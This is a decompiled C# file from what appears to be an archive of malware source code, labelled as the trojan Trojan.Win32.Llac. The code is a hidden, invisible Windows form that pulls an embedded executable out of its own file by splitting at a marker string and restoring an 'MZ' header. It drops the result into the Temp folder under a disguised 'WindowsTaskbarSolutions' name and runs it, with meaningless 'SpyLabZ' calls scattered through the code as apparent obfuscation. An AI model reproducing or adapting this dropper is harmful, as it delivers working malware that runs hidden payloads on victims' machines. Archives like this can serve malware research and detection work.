MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ypz-45084cf481824ed81a11380e6c3d84287ef148796d8299306e161ad81504fc74/Form1.cs
2022-08-18 06:28:56 -05:00

345 lines
8.7 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: Zzz.Form1
// Assembly: Zzz, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 86E78790-E618-49B6-A148-3ECDE2D34904
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.ypz-45084cf481824ed81a11380e6c3d84287ef148796d8299306e161ad81504fc74.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using Zzz.My;
namespace Zzz
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
private string[] Ad4l3t;
private string B3lk1;
private string D3;
private string D0sy4;
private string O;
private string K4d4r;
private string Ad1l;
private string Deq1ldi2;
private const string Konst = "./FEDERIKO@CW~";
private string K4yıt1sm1;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.K4yıt1sm1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\WindowsTaskbarSolutions." + Path.GetRandomFileName().Replace(".", "") + ".$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$";
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.SuspendLayout();
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = Color.Black;
this.ClientSize = new Size(284, 262);
this.FormBorderStyle = FormBorderStyle.None;
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.RightToLeft = RightToLeft.Yes;
this.RightToLeftLayout = true;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.TransparencyKey = Color.Black;
this.WindowState = FormWindowState.Minimized;
this.ResumeLayout(false);
}
public void SpyLabZ()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
MyProject.Computer.Network.Ping("Patladı_Gitti_:_)");
label_2:
num3 = 3;
Process[] processes = Process.GetProcesses();
int index = 0;
goto label_8;
label_4:
num3 = 4;
Process process;
if (Operators.CompareString(process.ProcessName, "Spy LabZ | Private Mail Hacking ToolZ ! :J", false) != 0)
goto label_6;
label_5:
num3 = 5;
MyProject.Computer.Registry.GetValue("An4htar", "Deqer", (object) "Def4ult");
label_6:
checked { ++index; }
label_7:
num3 = 7;
label_8:
if (index < processes.Length)
{
process = processes[index];
goto label_4;
}
label_9:
num3 = 8;
int baudRate = 1;
label_10:
num3 = 9;
if (MyProject.Computer.Screen.WorkingArea.Height != 1)
goto label_12;
label_11:
num3 = 10;
MyProject.Computer.Ports.OpenSerialPort("P0rt", baudRate);
label_12:
num3 = 12;
checked { ++baudRate; }
if (baudRate <= 10)
goto label_10;
else
goto label_19;
label_14:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_9;
case 9:
goto label_10;
case 10:
goto label_11;
case 11:
case 12:
goto label_12;
case 13:
goto label_19;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_14;
}
throw ProjectData.CreateProjectError(-2146828237);
label_19:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void Form1_Load(object sender, EventArgs e)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
this.SpyLabZ();
label_2:
num3 = 3;
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
label_3:
num3 = 4;
this.SpyLabZ();
label_4:
num3 = 5;
this.D0sy4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_5:
num3 = 6;
this.SpyLabZ();
label_6:
num3 = 7;
FileSystem.FileGet(1, ref this.D0sy4);
label_7:
num3 = 8;
this.SpyLabZ();
label_8:
num3 = 9;
FileSystem.FileClose(1);
label_9:
num3 = 10;
this.SpyLabZ();
label_10:
num3 = 11;
this.D0sy4 = this.D0sy4.Substring(this.D0sy4.LastIndexOf("./FEDERIKO@CW~")).Replace("./FEDERIKO@CW~", "");
label_11:
num3 = 12;
this.SpyLabZ();
label_12:
num3 = 13;
this.D0sy4 = this.D0sy4.Replace("é<!F£D£R1K0!>é(MZ)", "MZ");
label_13:
num3 = 14;
this.SpyLabZ();
label_14:
num3 = 15;
this.D0sy4 = this.D0sy4.Replace("\0", "Chr(0)");
label_15:
num3 = 16;
this.D0sy4 = this.D0sy4.Replace(Strings.Chr((int) byte.MaxValue), char.MinValue);
label_16:
num3 = 17;
this.D0sy4 = this.D0sy4.Replace("Chr(0)", Conversions.ToString(Strings.Chr((int) byte.MaxValue)));
label_17:
num3 = 18;
this.SpyLabZ();
label_18:
num3 = 19;
FileSystem.FileOpen(2, this.K4yıt1sm1, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Shared);
label_19:
num3 = 20;
this.SpyLabZ();
label_20:
num3 = 21;
FileSystem.FilePut(2, this.D0sy4, -1L, false);
label_21:
num3 = 22;
this.SpyLabZ();
label_22:
num3 = 23;
FileSystem.FileClose(2);
label_23:
num3 = 24;
this.SpyLabZ();
label_24:
num3 = 25;
Interaction.Shell(this.K4yıt1sm1, AppWinStyle.NormalFocus);
ProjectData.EndApp();
label_25:
num3 = 27;
this.Close();
goto label_32;
label_27:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
goto label_19;
case 21:
goto label_20;
case 22:
goto label_21;
case 23:
goto label_22;
case 24:
goto label_23;
case 25:
goto label_24;
case 26:
case 27:
goto label_25;
case 28:
goto label_32;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_27;
}
throw ProjectData.CreateProjectError(-2146828237);
label_32:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}